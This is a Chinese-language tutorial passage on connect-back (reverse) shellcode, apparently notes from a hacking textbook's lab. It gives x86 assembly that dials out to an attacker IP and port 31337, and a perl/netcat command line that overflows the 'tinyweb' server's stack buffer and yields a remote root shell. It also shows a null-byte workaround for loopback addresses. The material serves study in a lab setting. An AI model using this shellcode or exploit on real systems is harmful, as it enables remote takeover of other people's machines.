Port-binding shellcode 很容易被防火牆挫敗。
為什麼需要「反連」#
大多數防火牆會封鎖連入連線,只放行特定已知服務的連接埠。軟體防火牆如今如此普遍,port-bind shellcode 在真實世界幾乎沒機會成功接到連線。
但關鍵的不對稱在於:
防火牆通常不過濾連出(outbound)連線,否則會妨礙可用性——防火牆內的使用者應能瀏覽任何網頁、發起任何連出連線。這意味著若由 shellcode 發起連出連線,多數防火牆都會放行。
反連 shellcode(connect-back shellcode) 不等攻擊者連來,而是主動向攻擊者的 IP 發起 TCP 連線。開 TCP 連線只需 socket() 與 connect()——與 port-bind shellcode 極相似(socket 呼叫完全相同,connect() 引數型別與 bind() 相同)。
從 bind 改成 connect#
只需幾處修改:把 bind 換成 connect(SYS_CONNECT=3),並在 sockaddr 結構中加入攻擊者的 IP:
; connect(s, [2, 31337, <IP>], 16)
push DWORD 0x482aa8c0 ; IP = 192.168.42.72(反序)
push WORD 0x697a ; PORT = 31337(反序)
push WORD bx ; AF_INET = 2
mov ecx, esp
...
inc ebx ; ebx = 3 = SYS_CONNECT
int 0x80IP
192.168.42.72各段的十六進位是0xc0 0xa8 0x2a 0x48。由於以網路位元組順序儲存、x86 又是 little-endian,DWORD 反過來成為0x482aa8c0;連接埠 31337 的 WORD 同理為0x697a。用nc -v -l -p 31337監聽即可接到反連的 root shell。
利用 tinyweb:對齊與邊界#
用反連 shellcode 遠端利用 tinyweb(request 緩衝區 500 位元組、位於 0xbffff5c0、返回位址在緩衝區尾端 40 位元組內):
從緩衝區起點到返回位址 offset 是 540 位元組,所以要覆寫 4 位元組返回位址共需寫 544 位元組。兩個約束:
- 對齊:返回位址多位元組,NOP sled + shellcode 的總位元組數必須能被 4 整除。
- 邊界:shellcode 必須落在前 500 位元組內(response 緩衝區範圍),否則之後的堆疊值可能在我們改變控制流前被覆寫,導致崩潰。
把返回位址重複 16 次生成 64 位元組放在尾端、讓 shellcode 安全落在緩衝區內;402 位元組的 NOP sled 恰好對齊 78 位元組的 shellcode。用 0xbffff688 覆寫返回位址,執行就落回 NOP sled 中段、避開開頭可能被弄亂的位元組:
reader@hacking:~/booksrc $ (perl -e 'print "\x90"x402'; cat connectback_shell; \
perl -e 'print "\x88\xf6\xff\xbf"x20 . "\r\n"') | nc -v 127.0.0.1 80
另一終端的 netcat 就收到遠端 root shell。
Loopback 位址的 null 位元組問題#
loopback:如何在 shellcode 中處理含 null 的位址
上例攻擊 127.0.0.1、shellcode 卻反連 192.168.42.72——兩者路由到同一處,但 192.168.42.72 在 shellcode 中比 127.0.0.1 好用。
loopback_shell.s 的做法是:先 push 0x01BBBB7f,再用清零的暫存器把中間兩個 BB 位元組覆寫成 0:
push DWORD 0x01BBBB7f ; 含佔位的 BBBB
mov WORD [esp+1], dx ; 把 [esp+1] 的兩位元組寫成 0000這多出的指令讓 shellcode 大幾位元組,NOP sled 也要跟著調整(變成 397 位元組)。監聽 31337 的 netcat 同樣收到 root shell。